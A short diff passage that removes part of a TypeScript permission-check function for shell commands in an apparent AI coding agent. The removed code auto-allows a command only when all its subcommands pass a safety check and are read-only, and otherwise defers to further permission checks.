-        'Git commands outside the original working directory require permission checks when sandbox is enabled',
-    }
-  }
-
-  // Check if all subcommands are read-only
-  const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
-    subcmd => {
-      if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
-        return false
-      }
-      return isCommandReadOnly(subcmd)
-    },
-  )
-
-  if (allSubcommandsReadOnly) {
-    return {
-      behavior: 'allow',
-      updatedInput: input,
-    }
-  }
-
-  // If not read-only, return passthrough to let other permission checks handle it
-  return {
-    behavior: 'passthrough',
-    message: 'Command is not read-only, requires further permission checks',
-  }
-}